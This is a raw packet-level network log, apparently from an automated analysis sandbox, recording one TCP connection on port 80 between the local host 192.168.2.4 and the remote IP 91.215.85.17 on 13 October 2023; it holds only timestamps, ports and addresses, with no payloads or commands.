Oct 13, 2023 16:05:55.551769972 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.551799059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.551871061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.551918983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.551928043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.551984072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.552022934 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.552046061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.552098036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.552138090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.552154064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.552200079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.552244902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.552263975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.552323103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.552364111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.552419901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.552472115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.552510977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.552535057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.552592039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.552633047 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.552655935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.552753925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.552771091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.552800894 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.552855015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.552902937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.552947044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.552989006 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.553037882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.553066015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.553132057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.553179979 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.553225994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.553267956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.553309917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.553322077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.553376913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.553420067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.553491116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.553647041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.553694010 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.553718090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.553807020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.553850889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.553879023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.553937912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.553982973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.554011106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.554068089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.554111958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.554138899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.554158926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.554219007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.554225922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.554280996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.554330111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.554332972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.554375887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.554416895 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.554457903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.554517031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.554563046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.554605007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.554686069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.554732084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.554743052 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.554785013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.554827929 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.554830074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.554899931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.554941893 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.554989100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.555048943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.555092096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.555143118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.555176973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.555221081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.555253029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.555270910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.555360079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.555382967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.555428028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.555470943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.555471897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.555533886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.555588007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.555614948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.555648088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.555691004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.555713892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.555788040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.555836916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.555862904 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.555908918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.555948019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.555953979 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.555996895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.556040049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.556061029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.556101084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.556149960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.556171894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.556220055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.556263924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.556278944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.556330919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.556374073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.556394100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.556473970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.556519032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.556545019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.556576014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.556617022 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.556660891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.556698084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.556751966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.556775093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.556855917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.556890011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.556901932 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.556962967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.557005882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.557029963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.557084084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.557121038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.557130098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.557188988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.557231903 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.557251930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.557315111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.557362080 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.557420015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.557437897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.557478905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.557521105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.557571888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.557617903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.557621956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.557683945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.557729959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.557797909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.557876110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.557925940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.557944059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.557984114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.558024883 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.558068037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.558109999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.558151960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.558195114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.558237076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.558276892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.558324099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.558413029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.558461905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.558487892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.558532000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.558578014 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.558605909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.558645964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.558711052 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.558738947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.558813095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.558864117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.558870077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.558897972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.558944941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.558971882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.559005976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.559053898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.559056044 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.559189081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.559243917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.561417103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561439037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561455011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561470985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561486959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561492920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.561503887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561517954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.561520100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561537981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561554909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561568975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.561569929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561587095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561604023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561619043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561623096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.561635017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561647892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.561650991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561669111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561680079 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.561686039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561702013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561717033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561732054 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561741114 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.561748028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561764002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561779976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561780930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.561798096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561810970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.561814070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561830044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561845064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561860085 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561872005 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.561877012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561893940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561908960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561911106 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.561924934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561940908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561945915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.561956882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561973095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.561986923 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.561988115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562005043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562026978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562036991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.562042952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562060118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562076092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562092066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.562092066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562113047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562129021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562134027 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.562145948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562160969 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.562186003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562191963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.562230110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.562259912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562303066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562346935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562354088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.562391996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562457085 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.562479973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.562485933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562565088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562606096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562609911 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.562764883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562818050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.562834024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562901974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.562949896 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.562972069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.563049078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.563091993 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.563121080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.563188076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.563226938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.563231945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.563308954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.563345909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.563371897 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.563436985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.563488960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.563520908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.563602924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.563652039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.563652039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.563725948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.563764095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.563786030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.563847065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.563890934 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.563941002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.563998938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.564043045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.564043045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.564131975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.564168930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.564177990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.564194918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.564256907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.564268112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.564338923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.564383984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.564395905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.564419985 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.564461946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.564506054 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.564555883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.564583063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.564618111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.564657927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.564665079 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.564716101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.564759970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.564766884 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.564832926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.564882040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.564917088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.564963102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.565011024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.565013885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.565073967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.565114975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.565167904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.565186024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.565248013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.565252066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.565308094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.565356970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.565377951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.565450907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.565491915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.565536976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.565594912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.565642118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.565658092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.565754890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.565774918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.565793991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.565848112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.565939903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.565979958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.565990925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.566056013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.566098928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.566113949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.566131115 CEST	80	49762	91.215.85.17	192.168.2.4
